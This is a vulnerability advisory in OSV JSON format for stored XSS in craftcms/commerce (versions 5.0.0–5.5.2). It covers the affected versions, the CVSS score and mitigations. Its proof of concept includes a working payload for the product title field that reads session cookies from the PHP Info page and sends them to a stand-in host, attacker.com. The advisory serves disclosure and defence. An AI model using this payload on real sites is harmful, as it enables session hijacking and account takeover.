CVE-2026-29175: Craftcms/commerce Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cfpv-rmpf-f624",
  "modified" : "2026-03-10T22:55:20Z",
  "published" : "2026-03-10T18:23:42Z",
  "aliases" : [ "CVE-2026-29175" ],
  "summary" : "Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking",
  "details" : "## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    <img src=x onerror=\"fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\\/th>\\s*<td[^>]*>([\\s\\S]*?)<\\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\">\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['<cookie-name>']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.5.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29175"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/commerce"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:23:42Z",
    "nvd_published_at" : "2026-03-10T20:16:38Z"
  }
}